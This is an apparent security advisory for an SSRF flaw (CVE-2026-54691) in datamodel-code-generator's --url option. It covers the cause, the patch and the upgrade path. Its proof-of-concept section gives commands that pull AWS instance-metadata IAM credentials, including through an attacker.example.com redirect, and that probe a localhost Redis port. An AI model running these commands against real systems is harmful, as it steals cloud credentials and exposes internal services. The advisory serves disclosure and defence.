high · 8.2CVE-2026-54691Jul 28, 2026

CVE-2026-54691: datamodel-code-generator SSRF via --url

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

datamodel-code-generator fetches any URL you give it with no IP validation and redirect-following on, letting attackers trick it into hitting internal services or cloud metadata endpoints and leaking…

Packagedatamodel-code-generator
Ecosystempip
Affected>= 0.9.1, <= 0.60.2
Fixed in0.61.0
CVE-2026-54691: datamodel-code-generator SSRF via --url

The problem

The built-in HTTP fetcher in datamodel-code-generator (the [http] extra) calls httpx.get() with follow_redirects=True and no allow-list, deny-list, or IP validation. Any address reachable from the machine running the tool is fair game: loopback, RFC 1918, link-local (169.254.169.254), unique-local IPv6, etc.

The only guard in the vulnerable code is a content-type check that rejects text/html. Every non-HTML internal endpoint, including JSON APIs, admin surfaces, and AWS/GCP/Azure IMDS endpoints, passes through. The response body is then parsed as a schema, and its title, description, and properties fields land in the generated .py file as class names, docstrings, and Field(description=...) strings, exfiltrating the data to anyone who reads or commits that file.

Proof of concept

A working proof-of-concept for CVE-2026-54691 in datamodel-code-generator, with the exact payload below.

bash
# Direct hit against AWS instance metadata
datamodel-codegen --url http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role --output model.py

# Via open-redirect chain (attacker controls attacker.example.com)
# attacker.example.com returns: HTTP 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role
datamodel-codegen --url https://attacker.example.com/redirect --output model.py

# Localhost port probe (non-HTML 200 response confirms service and leaks body)
datamodel-codegen --url http://127.0.0.1:6379/ --output model.py

The root cause is the complete absence of pre-request and pre-redirect host validation in src/datamodel_code_generator/http.py. With follow_redirects=True, an attacker-controlled public URL redirecting to an internal address bypasses any firewall rule that only filters outbound traffic to private ranges at the DNS/connection level.

The patch (commit 5fdba4a) resolves the target hostname to an IP before each request, checks it against blocked ranges (loopback, private, link-local, reserved, multicast), and sets follow_redirects=False, re-running the same check on every 3xx hop. It also adds --allow-private-network as an explicit opt-in for operators who legitimately need to fetch internal schemas.

CWE-918 (Server-Side Request Forgery) applies directly.

The fix

Upgrade to datamodel-code-generator 0.61.0 or later (pip install 'datamodel-code-generator[http]>=0.61.0'). The patched release validates and blocks non-public IP targets before every request and redirect hop. If you must fetch schemas from internal hosts, pass --allow-private-network explicitly and ensure the source is trusted.

Reported by Hamza Haroon (thegr1ffyn).

References: [1][2][3][4]

Related research